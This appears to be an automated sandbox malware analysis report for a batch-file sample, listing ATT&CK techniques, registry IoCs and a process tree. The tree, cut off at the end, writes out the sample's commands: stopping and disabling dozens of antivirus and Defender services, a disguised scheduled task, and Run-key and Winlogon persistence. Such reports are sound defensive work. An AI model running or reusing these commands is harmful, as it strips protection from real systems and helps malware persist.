4997de08553a689944ab250ef4611ac829167ed958b24f0e3f778a74577eb2c6

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 16 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

Modifies firewall policy service 3 TTPs 4 IoCs

Modify Registry

Windows Service

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\EnableFirewall = "0"	reg.exe

Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs

Hidden Files and Directories

T1564.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 22 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4908	bcdedit.exe
1008	bcdedit.exe
1852	bcdedit.exe
3524	bcdedit.exe
2792	bcdedit.exe
3668	bcdedit.exe
4696	bcdedit.exe
2952	bcdedit.exe
4100	bcdedit.exe
8	bcdedit.exe
416	bcdedit.exe
1944	bcdedit.exe
1664	bcdedit.exe
4068	bcdedit.exe
2104	bcdedit.exe
3620	bcdedit.exe
644	bcdedit.exe
2424	bcdedit.exe
3772	bcdedit.exe
640	bcdedit.exe
6052	bcdedit.exe
6072	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1140	powershell.exe
3776	powershell.exe
5608	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Modifies Windows Firewall 2 TTPs 2 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4564	netsh.exe
468	netsh.exe

Possible privilege escalation attempt 12 IoCs

exploit

pid	Process
6032	icacls.exe
4172	takeown.exe
5000	icacls.exe
4236	takeown.exe
3280	takeown.exe
3148	icacls.exe
4504	takeown.exe
3388	icacls.exe
2204	takeown.exe
1464	icacls.exe
2132	takeown.exe
6016	takeown.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	cmd.exe

Modifies file permissions 1 TTPs 12 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1464	icacls.exe
2132	takeown.exe
4504	takeown.exe
3148	icacls.exe
6016	takeown.exe
6032	icacls.exe
4172	takeown.exe
3388	icacls.exe
5000	icacls.exe
4236	takeown.exe
3280	takeown.exe
2204	takeown.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemHealth = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemHealth = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Filesecurity.bat"	reg.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Power Settings 1 TTPs 10 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5024	powercfg.exe
3964	powercfg.exe
4176	powercfg.exe
4572	powercfg.exe
1508	powercfg.exe
4584	powercfg.exe
4288	powercfg.exe
4880	powercfg.exe
1996	powercfg.exe
3348	powercfg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	powershell.exe
File opened for modification	\??\PhysicalDrive0	powershell.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5088	sc.exe
1196	sc.exe
3148	sc.exe
3892	sc.exe
3920	sc.exe
5648	sc.exe
4928	sc.exe
1036	sc.exe
4816	sc.exe
2160	sc.exe
1852	sc.exe
1088	sc.exe
896	sc.exe
416	sc.exe
3900	sc.exe
2476	sc.exe
4872	sc.exe
2008	sc.exe
3064	sc.exe
4064	sc.exe
2176	sc.exe
3188	sc.exe
8	sc.exe
1400	sc.exe
2332	sc.exe
1788	sc.exe
692	sc.exe
1608	sc.exe
4904	sc.exe
5452	sc.exe
2592	sc.exe
1296	sc.exe
4956	sc.exe
4856	sc.exe
4804	sc.exe
4352	sc.exe
1212	sc.exe
5496	sc.exe
2384	sc.exe
1392	sc.exe
5080	sc.exe
684	sc.exe
4980	sc.exe
2596	sc.exe
1304	sc.exe
6140	sc.exe
4500	sc.exe
4324	sc.exe
3276	sc.exe
1168	sc.exe
5080	sc.exe
4216	sc.exe
4628	sc.exe
4768	sc.exe
1172	sc.exe
1212	sc.exe
3480	sc.exe
5068	sc.exe
984	sc.exe
4888	sc.exe
756	sc.exe
3404	sc.exe
3860	sc.exe
4404	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Delays execution with timeout.exe 4 IoCs

pid	Process
4260	timeout.exe
436	timeout.exe
4424	timeout.exe
1620	timeout.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3148	vssadmin.exe
3616	vssadmin.exe

Kills process with taskkill 4 IoCs

pid	Process
5496	taskkill.exe
5532	taskkill.exe
5572	taskkill.exe
5448	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe\ = "txtfile "	cmd.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1380	schtasks.exe
5100	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1140	powershell.exe
1140	powershell.exe
3776	powershell.exe
3776	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1508	powercfg.exe
Token: SeCreatePagefilePrivilege	1508	powercfg.exe
Token: SeShutdownPrivilege	1996	powercfg.exe
Token: SeCreatePagefilePrivilege	1996	powercfg.exe
Token: SeShutdownPrivilege	3348	powercfg.exe
Token: SeCreatePagefilePrivilege	3348	powercfg.exe
Token: SeShutdownPrivilege	5024	powercfg.exe
Token: SeCreatePagefilePrivilege	5024	powercfg.exe
Token: SeShutdownPrivilege	3964	powercfg.exe
Token: SeCreatePagefilePrivilege	3964	powercfg.exe
Token: SeTakeOwnershipPrivilege	4172	takeown.exe
Token: SeTakeOwnershipPrivilege	4504	takeown.exe
Token: SeIncreaseQuotaPrivilege	3416	WMIC.exe
Token: SeSecurityPrivilege	3416	WMIC.exe
Token: SeTakeOwnershipPrivilege	3416	WMIC.exe
Token: SeLoadDriverPrivilege	3416	WMIC.exe
Token: SeSystemProfilePrivilege	3416	WMIC.exe
Token: SeSystemtimePrivilege	3416	WMIC.exe
Token: SeProfSingleProcessPrivilege	3416	WMIC.exe
Token: SeIncBasePriorityPrivilege	3416	WMIC.exe
Token: SeCreatePagefilePrivilege	3416	WMIC.exe
Token: SeBackupPrivilege	3416	WMIC.exe
Token: SeRestorePrivilege	3416	WMIC.exe
Token: SeShutdownPrivilege	3416	WMIC.exe
Token: SeDebugPrivilege	3416	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3416	WMIC.exe
Token: SeRemoteShutdownPrivilege	3416	WMIC.exe
Token: SeUndockPrivilege	3416	WMIC.exe
Token: SeManageVolumePrivilege	3416	WMIC.exe
Token: 33	3416	WMIC.exe
Token: 34	3416	WMIC.exe
Token: 35	3416	WMIC.exe
Token: 36	3416	WMIC.exe
Token: SeBackupPrivilege	2768	vssvc.exe
Token: SeRestorePrivilege	2768	vssvc.exe
Token: SeAuditPrivilege	2768	vssvc.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeShutdownPrivilege	4584	powercfg.exe
Token: SeCreatePagefilePrivilege	4584	powercfg.exe
Token: SeTakeOwnershipPrivilege	4236	takeown.exe
Token: SeShutdownPrivilege	4288	powercfg.exe
Token: SeCreatePagefilePrivilege	4288	powercfg.exe
Token: SeShutdownPrivilege	4176	powercfg.exe
Token: SeCreatePagefilePrivilege	4176	powercfg.exe
Token: SeShutdownPrivilege	4572	powercfg.exe
Token: SeCreatePagefilePrivilege	4572	powercfg.exe
Token: SeShutdownPrivilege	4880	powercfg.exe
Token: SeCreatePagefilePrivilege	4880	powercfg.exe
Token: SeTakeOwnershipPrivilege	3280	takeown.exe
Token: SeTakeOwnershipPrivilege	2204	takeown.exe
Token: SeIncreaseQuotaPrivilege	1400	WMIC.exe
Token: SeSecurityPrivilege	1400	WMIC.exe
Token: SeTakeOwnershipPrivilege	1400	WMIC.exe
Token: SeLoadDriverPrivilege	1400	WMIC.exe
Token: SeSystemProfilePrivilege	1400	WMIC.exe
Token: SeSystemtimePrivilege	1400	WMIC.exe
Token: SeProfSingleProcessPrivilege	1400	WMIC.exe
Token: SeIncBasePriorityPrivilege	1400	WMIC.exe
Token: SeCreatePagefilePrivilege	1400	WMIC.exe
Token: SeBackupPrivilege	1400	WMIC.exe
Token: SeRestorePrivilege	1400	WMIC.exe
Token: SeShutdownPrivilege	1400	WMIC.exe
Token: SeDebugPrivilege	1400	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1400	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 4456	1992	cmd.exe	87
PID 4456 wrote to memory of 1692	4456	net.exe	88
PID 1992 wrote to memory of 4260	1992	cmd.exe	89
PID 1992 wrote to memory of 1380	1992	cmd.exe	90
PID 1992 wrote to memory of 4624	1992	cmd.exe	91
PID 1992 wrote to memory of 2980	1992	cmd.exe	92
PID 1992 wrote to memory of 1772	1992	cmd.exe	93
PID 1992 wrote to memory of 4872	1992	cmd.exe	94
PID 1992 wrote to memory of 3860	1992	cmd.exe	95
PID 1992 wrote to memory of 4500	1992	cmd.exe	96
PID 1992 wrote to memory of 700	1992	cmd.exe	97
PID 1992 wrote to memory of 3544	1992	cmd.exe	99
PID 1992 wrote to memory of 1476	1992	cmd.exe	100
PID 1992 wrote to memory of 1396	1992	cmd.exe	101
PID 1992 wrote to memory of 2592	1992	cmd.exe	102
PID 1992 wrote to memory of 1036	1992	cmd.exe	103
PID 1992 wrote to memory of 2908	1992	cmd.exe	104
PID 1992 wrote to memory of 4948	1992	cmd.exe	105
PID 1992 wrote to memory of 4636	1992	cmd.exe	107
PID 940 wrote to memory of 2100	940	net.exe	108
PID 1992 wrote to memory of 4112	1992	cmd.exe	109
PID 1992 wrote to memory of 5092	1992	cmd.exe	110
PID 1992 wrote to memory of 2584	1992	cmd.exe	111
PID 1992 wrote to memory of 4816	1992	cmd.exe	113
PID 1992 wrote to memory of 3784	1992	cmd.exe	114
PID 1992 wrote to memory of 3900	1992	cmd.exe	115
PID 1992 wrote to memory of 3892	1992	cmd.exe	116
PID 1992 wrote to memory of 3404	1992	cmd.exe	117
PID 1992 wrote to memory of 5076	1992	cmd.exe	118
PID 1992 wrote to memory of 3776	1992	cmd.exe	119
PID 1992 wrote to memory of 1492	1992	cmd.exe	120
PID 1992 wrote to memory of 4628	1992	cmd.exe	121
PID 1992 wrote to memory of 2252	1992	cmd.exe	122
PID 1992 wrote to memory of 4068	1992	cmd.exe	123
PID 1992 wrote to memory of 1296	1992	cmd.exe	124
PID 1992 wrote to memory of 3372	1992	cmd.exe	125
PID 1992 wrote to memory of 3492	1992	cmd.exe	126
PID 1992 wrote to memory of 4064	1992	cmd.exe	127
PID 1992 wrote to memory of 624	1992	cmd.exe	128
PID 1992 wrote to memory of 2104	1992	cmd.exe	129
PID 1992 wrote to memory of 5008	1992	cmd.exe	130
PID 1992 wrote to memory of 3944	1992	cmd.exe	131
PID 1992 wrote to memory of 1624	1992	cmd.exe	132
PID 1992 wrote to memory of 4644	1992	cmd.exe	133
PID 1992 wrote to memory of 4488	1992	cmd.exe	134
PID 1992 wrote to memory of 2160	1992	cmd.exe	135
PID 1992 wrote to memory of 4168	1992	cmd.exe	136
PID 1992 wrote to memory of 1304	1992	cmd.exe	137
PID 1992 wrote to memory of 2384	1992	cmd.exe	138
PID 1992 wrote to memory of 208	1992	cmd.exe	139
PID 1992 wrote to memory of 1792	1992	cmd.exe	140
PID 1992 wrote to memory of 1132	1992	cmd.exe	141
PID 1992 wrote to memory of 3808	1992	cmd.exe	142
PID 1992 wrote to memory of 2176	1992	cmd.exe	143
PID 1992 wrote to memory of 4928	1992	cmd.exe	144
PID 1992 wrote to memory of 4956	1992	cmd.exe	145
PID 1992 wrote to memory of 3988	1992	cmd.exe	146
PID 1992 wrote to memory of 3120	1992	cmd.exe	147
PID 1992 wrote to memory of 2156	1992	cmd.exe	148
PID 1992 wrote to memory of 2920	1992	cmd.exe	149
PID 1992 wrote to memory of 4768	1992	cmd.exe	150
PID 1992 wrote to memory of 908	1992	cmd.exe	151
PID 1992 wrote to memory of 756	1992	cmd.exe	152
PID 1992 wrote to memory of 1852	1992	cmd.exe	153

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat"
1⤵
- Drops startup file
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4456
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1692
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4260
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "MicrosoftEdgeUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /sc onlogon /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1380
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  PID:4624
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  PID:2980
- C:\Windows\system32\sc.exe
  sc stop WdNisSvc
  2⤵
  PID:1772
- C:\Windows\system32\sc.exe
  sc config WdNisSvc start= disabled
  2⤵
  PID:4872
- C:\Windows\system32\sc.exe
  sc stop Sense
  2⤵
  PID:3860
- C:\Windows\system32\sc.exe
  sc config Sense start= disabled
  2⤵
  - Launches sc.exe
  PID:4500
- C:\Windows\system32\sc.exe
  sc stop WdFilter
  2⤵
  PID:700
- C:\Windows\system32\sc.exe
  sc config WdFilter start= disabled
  2⤵
  PID:3544
- C:\Windows\system32\sc.exe
  sc stop WebThreatDefSvc
  2⤵
  PID:1476
- C:\Windows\system32\sc.exe
  sc config WebThreatDefSvc start= disabled
  2⤵
  PID:1396
- C:\Windows\system32\sc.exe
  sc stop MsSecCore
  2⤵
  - Launches sc.exe
  PID:2592
- C:\Windows\system32\sc.exe
  sc config MsSecCore start= disabled
  2⤵
  - Launches sc.exe
  PID:1036
- C:\Windows\system32\sc.exe
  sc stop wscsvc
  2⤵
  PID:2908
- C:\Windows\system32\sc.exe
  sc config wscsvc start= disabled
  2⤵
  PID:4948
- C:\Windows\system32\sc.exe
  sc stop SecurityHealthService
  2⤵
  PID:4636
- C:\Windows\system32\sc.exe
  sc config SecurityHealthService start= disabled
  2⤵
  PID:4112
- C:\Windows\system32\sc.exe
  sc stop mpssvc
  2⤵
  PID:5092
- C:\Windows\system32\sc.exe
  sc config mpssvc start= disabled
  2⤵
  PID:2584
- C:\Windows\system32\sc.exe
  sc stop BITS
  2⤵
  - Launches sc.exe
  PID:4816
- C:\Windows\system32\sc.exe
  sc config BITS start= disabled
  2⤵
  PID:3784
- C:\Windows\system32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3900
- C:\Windows\system32\sc.exe
  sc config UsoSvc start= disabled
  2⤵
  PID:3892
- C:\Windows\system32\sc.exe
  sc stop McAfeeFramework
  2⤵
  - Launches sc.exe
  PID:3404
- C:\Windows\system32\sc.exe
  sc config McAfeeFramework start= disabled
  2⤵
  PID:5076
- C:\Windows\system32\sc.exe
  sc stop McShield
  2⤵
  PID:3776
- C:\Windows\system32\sc.exe
  sc config McShield start= disabled
  2⤵
  PID:1492
- C:\Windows\system32\sc.exe
  sc stop mfefire
  2⤵
  - Launches sc.exe
  PID:4628
- C:\Windows\system32\sc.exe
  sc config mfefire start= disabled
  2⤵
  PID:2252
- C:\Windows\system32\sc.exe
  sc stop mfevtp
  2⤵
  PID:4068
- C:\Windows\system32\sc.exe
  sc config mfevtp start= disabled
  2⤵
  - Launches sc.exe
  PID:1296
- C:\Windows\system32\sc.exe
  sc stop NortonSecurity
  2⤵
  PID:3372
- C:\Windows\system32\sc.exe
  sc config NortonSecurity start= disabled
  2⤵
  PID:3492
- C:\Windows\system32\sc.exe
  sc stop ccSetMgr
  2⤵
  - Launches sc.exe
  PID:4064
- C:\Windows\system32\sc.exe
  sc config ccSetMgr start= disabled
  2⤵
  PID:624
- C:\Windows\system32\sc.exe
  sc stop AVP
  2⤵
  PID:2104
- C:\Windows\system32\sc.exe
  sc config AVP start= disabled
  2⤵
  PID:5008
- C:\Windows\system32\sc.exe
  sc stop klif
  2⤵
  PID:3944
- C:\Windows\system32\sc.exe
  sc config klif start= disabled
  2⤵
  PID:1624
- C:\Windows\system32\sc.exe
  sc stop klim6
  2⤵
  PID:4644
- C:\Windows\system32\sc.exe
  sc config klim6 start= disabled
  2⤵
  PID:4488
- C:\Windows\system32\sc.exe
  sc stop klwtp
  2⤵
  - Launches sc.exe
  PID:2160
- C:\Windows\system32\sc.exe
  sc config klwtp start= disabled
  2⤵
  PID:4168
- C:\Windows\system32\sc.exe
  sc stop VSSERV
  2⤵
  PID:1304
- C:\Windows\system32\sc.exe
  sc config VSSERV start= disabled
  2⤵
  - Launches sc.exe
  PID:2384
- C:\Windows\system32\sc.exe
  sc stop bdredline
  2⤵
  PID:208
- C:\Windows\system32\sc.exe
  sc config bdredline start= disabled
  2⤵
  PID:1792
- C:\Windows\system32\sc.exe
  sc stop updatesrv
  2⤵
  PID:1132
- C:\Windows\system32\sc.exe
  sc config updatesrv start= disabled
  2⤵
  PID:3808
- C:\Windows\system32\sc.exe
  sc stop MBAMService
  2⤵
  - Launches sc.exe
  PID:2176
- C:\Windows\system32\sc.exe
  sc config MBAMService start= disabled
  2⤵
  - Launches sc.exe
  PID:4928
- C:\Windows\system32\sc.exe
  sc stop MBAMChameleon
  2⤵
  - Launches sc.exe
  PID:4956
- C:\Windows\system32\sc.exe
  sc config MBAMChameleon start= disabled
  2⤵
  PID:3988
- C:\Windows\system32\sc.exe
  sc stop Sophos
  2⤵
  PID:3120
- C:\Windows\system32\sc.exe
  sc config Sophos start= disabled
  2⤵
  PID:2156
- C:\Windows\system32\sc.exe
  sc stop Health
  2⤵
  PID:2920
- C:\Windows\system32\sc.exe
  sc config Health start= disabled
  2⤵
  - Launches sc.exe
  PID:4768
- C:\Windows\system32\sc.exe
  sc stop Sophos
  2⤵
  PID:908
- C:\Windows\system32\sc.exe
  sc config Sophos start= disabled
  2⤵
  - Launches sc.exe
  PID:756
- C:\Windows\system32\sc.exe
  sc stop Anti-Virus
  2⤵
  - Launches sc.exe
  PID:1852
- C:\Windows\system32\sc.exe
  sc config Anti-Virus start= disabled
  2⤵
  - Launches sc.exe
  PID:1392
- C:\Windows\system32\sc.exe
  sc stop SAVService
  2⤵
  - Launches sc.exe
  PID:5080
- C:\Windows\system32\sc.exe
  sc config SAVService start= disabled
  2⤵
  - Launches sc.exe
  PID:1172
- C:\Windows\system32\sc.exe
  sc stop ekrn
  2⤵
  - Launches sc.exe
  PID:1088
- C:\Windows\system32\sc.exe
  sc config ekrn start= disabled
  2⤵
  PID:2840
- C:\Windows\system32\sc.exe
  sc stop egui
  2⤵
  PID:1232
- C:\Windows\system32\sc.exe
  sc config egui start= disabled
  2⤵
  - Launches sc.exe
  PID:1212
- C:\Windows\system32\sc.exe
  sc stop epfw
  2⤵
  - Launches sc.exe
  PID:1788
- C:\Windows\system32\sc.exe
  sc config epfw start= disabled
  2⤵
  PID:3580
- C:\Windows\system32\sc.exe
  sc stop TMBMSRV
  2⤵
  PID:2852
- C:\Windows\system32\sc.exe
  sc config TMBMSRV start= disabled
  2⤵
  - Launches sc.exe
  PID:2476
- C:\Windows\system32\sc.exe
  sc stop ntrtscan
  2⤵
  - Launches sc.exe
  PID:3188
- C:\Windows\system32\sc.exe
  sc config ntrtscan start= disabled
  2⤵
  PID:1708
- C:\Windows\system32\sc.exe
  sc stop TmPfw
  2⤵
  - Launches sc.exe
  PID:692
- C:\Windows\system32\sc.exe
  sc config TmPfw start= disabled
  2⤵
  PID:3252
- C:\Windows\system32\sc.exe
  sc stop avast
  2⤵
  - Launches sc.exe
  PID:896
- C:\Windows\system32\sc.exe
  sc config avast start= disabled
  2⤵
  PID:2120
- C:\Windows\system32\sc.exe
  sc stop aswbIDSAgent
  2⤵
  PID:3388
- C:\Windows\system32\sc.exe
  sc config aswbIDSAgent start= disabled
  2⤵
  PID:2472
- C:\Windows\system32\sc.exe
  sc stop sophosautoupdate
  2⤵
  - Launches sc.exe
  PID:1608
- C:\Windows\system32\sc.exe
  sc config sophosautoupdate start= disabled
  2⤵
  PID:3052
- C:\Windows\system32\sc.exe
  sc stop ASdSvc
  2⤵
  PID:1268
- C:\Windows\system32\sc.exe
  sc config ASdSvc start= disabled
  2⤵
  PID:1548
- C:\Windows\system32\sc.exe
  sc stop bdservicehost
  2⤵
  - Launches sc.exe
  PID:684
- C:\Windows\system32\sc.exe
  sc config bdservicehost start= disabled
  2⤵
  PID:4700
- C:\Windows\system32\sc.exe
  sc stop bdagent
  2⤵
  PID:752
- C:\Windows\system32\sc.exe
  sc config bdagent start= disabled
  2⤵
